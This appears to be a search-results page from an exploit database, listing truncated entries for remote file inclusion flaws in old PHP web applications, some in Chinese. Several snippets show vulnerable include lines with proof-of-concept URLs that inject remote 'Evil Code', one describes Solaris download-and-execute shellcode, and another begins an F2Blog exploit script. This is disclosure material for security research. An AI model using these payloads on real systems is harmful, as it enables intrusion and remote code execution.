724 matches found
AllMyGuests 3.0 Remote File Inclusion Vulnerability
AllMyGuests 3.0 Remote File Inclusion Vulnerability Software: AllMyGuests Version: 3.0 Download: http://download.php-resource.net/AllMyGuests/AllMyGuests0.3.0.zip Found By: beks Bug In: /include/submit.inc.php /admin/index.php /include/cmsubmit.inc.php /comments.php /index.php /signin.php Risk:...
Enigma Coppermine Bridge E2_Header.Inc.PHP远程文件包含漏洞
Enigma WordPress Bridge是一款基于PHP的WEB应用程序。 Enigma WordPress Bridge不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'E2Header.Inc.PHP'脚本对用户提交的'boarddir'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Enigma WordPress Bridge 目前没有解决方案提供： http://www.lunabyte.org/index.php?module=Downloads;catd=4...
enigmawp-rfi.txt
----------------------------------------------- Enigma WordPress Bridge boarddir Remote File Include ----------------------------------------------- Author: xoron ----------------------------------------------- Vuln Code: requireonce$boarddir . '/PortalSources/Portal.ini.php';...
Enigma 2 WordPress Bridge (boarddir) Remote File Include Vulnerability
No description provided by source. ----------------------------------------------- Enigma WordPress Bridge boarddir Remote File Include ----------------------------------------------- Author: xoron ----------------------------------------------- Vuln Code: requireonce$boarddir...
Enigma 2 Coppermine Bridge (boarddir) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================= Enigma 2 Coppermine Bridge boarddir Remote File Include Vulnerability =======================================================================...
phpicalendar-xss.txt
PHP icalendar multiple variable cross site scripting Vendor url:http://phpicalendar.net/ Advisore:http://lostmon.blogspot.com/2006/12/ php-icalendar-multiple-variable-cross.html Vendor notify: YES Exploit included:YES PHP icalendar contains a flaw that allows a remote cross site scripting...
Jinzora <= 2.7 (include_path) Multiple Remote File Include Vulnerabilities
No description provided by source. +------------------------------------------------------------------------------------------- + Jinzora = 2.7 includepath Multiple Remote File Include Vulnerabilities +------------------------------------------------------------------------------------------- +...
Jinzora <= 2.7 (include_path) Multiple Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ========================================================================== Jinzora 01: 27: includeonce'jzBackend.php'; //jzBackend.php is being included before the includepath var is set + jzBac...
Newxooper-php 0.9.1 (mapage.php) Remote File Include Vulnerability
No description provided by source. Newxooper-php v0.9.1chemin Remote File Include Vulnerabilty Download:http://www.easy-script.com/newxoope-091.zip Author:Dr Max Virus Location:Egypt Bug in compteur/mapage.php In Line:37 Vul Code: REQUIRE "$chemin/compteur/mapage.txt"; POC:...
solaris/sparc download and execute 278 bytes
No description provided by source. / black-dl-exec-SOLARIS.c MIPS 278:bytes Dowloads a binary from host given named 'evil-dl' to '/tmp/ff' then executes. 11.21.6 Russell Sanford [email protected] gcc -lnsl black-dl-exec-SOLARIS.c -o bdes / include sys/socket.h include netinet/in.h include...
Newxooper-PHP 0.9.1 - mapage.php Remote File Inclusion
Newxooper-PHP 0.9.1 - mapage.php Remote File Inclusion Newxooper-php v0.9.1chemin Remote File Include Vulnerabilty Download:http://www.easy-script.com/newxoope-091.zip Author:Dr Max Virus Location:Egypt Bug in compteur/mapage.php In Line:37 Vul Code: REQUIRE "$chemin/compteur/mapage.txt"; POC:...
Newxooper-php v0.9.1(chemin) Remote File Include Vulnerabilty
Newxooper-php v0.9.1chemin Remote File Include Vulnerabilty Download:http://www.easy-script.com/newxoope-091.zip Author:Dr Max Virus Location:Egypt Bug in compteur/mapage.php In Line:37 Vul Code: REQUIRE "$chemin/compteur/mapage.txt"; POC: http://target/path/compteur/mapage.php?chemin=Evil Code...
PSlash lvc_include_dir远程文件包含漏洞
PSlash是一款基于PHP的WEB应用程序。 PSlash不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'config.inc.php'脚本对用户提交的'lvcincludedir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Derek Leung pSlash 0.70 http://www.pslash.com/...
Mambo Jim Component Install.Jim.PHP远程文件包含漏洞
Joomla JIM是一款基于MAMBO的即时通信模块。 Joomla JIM不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'install.jim.php'脚本对用户提交的'mosConfigabsolutepath'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Joomla JIM Instant Messaging Component 1.01 http://forge.joomla.org/sf/sfmain/do/viewProject/projects.jim...
Outreach Project Tool远程文件包含漏洞
Outreach Project Tool是一款基于PHP的WEB应用程序。 Outreach Project Tool不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'urights.php'脚本对用户提交的'CRMinc'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Outreach Project Tool OPT Max 1.2.6 http://sourceforge.net/projects/outreach...
Exploit For F2blog
No description provided by source. ?php printr" +------------------------------------------------------------------+ Exploit For F2Blog All Version BY Mokfly 媒婆X 拖鞋王子 Just For Fun : +------------------------------------------------------------------+ "; iniset"maxexecutiontime",0; errorreporting7...
PHProjekt <= 5.1 Multiple Remote File Include Vulnerabilities
No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Script name: PHProjekt v. 5.1 - Script site: http://www.phprojekt.com/ + + + - Find by: Kacper a.k.a Rahim + - Contact: [email protected] - or - http://www.devilteam.yum.pl + + + - Greetz: DragonHeart - a...
Joomla Webring Component <= 1.0 Remote Include Vulnerability
No description provided by source. C Y BE R - W A R R i O R T I M Joomla Webring Component componentdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: in admin.webring.docs.php, line 12 requireonce $componentdir. "mungdocs.class.php"; Google...
Exhibit Engine <= 1.22 (styles.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================================== Exhibit Engine = 1.22 styles.php Remote File Include Vulnerability ===================================================================== $$$$$$$$$$$$$$$ DEVIL TEAM THE...
Exhibit Engine 1.22 - 'styles.php' Remote File Inclusion
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ Exhibit Engine = 1.22 toroot Remote File Include Vulnerability $$ Script site: http://photography-on-the.net/ee/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Find by: Kacper a.k.a Rahim $$ $$ Contact...